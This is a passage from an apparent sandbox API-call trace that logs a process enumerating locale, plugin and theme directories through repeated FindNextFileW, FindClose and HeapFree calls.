cAlternateFileName="")) returned 1 [0186.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.878] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0186.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0186.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0186.882] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0186.882] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0186.882] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0186.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.883] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0186.883] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.883] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0186.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0186.884] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0186.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.885] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0186.885] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.885] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0186.888] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.888] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0186.889] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0186.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.889] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0186.889] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0186.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.889] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0186.889] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0186.889] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0186.891] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="home", cAlternateFileName="")) returned 1 [0186.895] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0186.895] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0186.903] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.903] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0186.903] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0186.903] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.903] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0186.903] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0186.903] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0186.903] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0186.915] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.915] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0186.917] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.918] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0186.918] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.918] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0187.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.221] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0187.225] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.225] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0187.227] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.227] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0187.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.229] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0187.232] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.232] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0187.233] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.234] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0187.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.245] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0187.248] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.249] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0187.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.250] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0187.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.252] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0187.252] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0187.252] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0187.252] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.252] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0187.252] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0187.252] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.259] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1 [0187.266] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.266] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0187.275] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.275] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0187.275] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0187.275] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.276] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 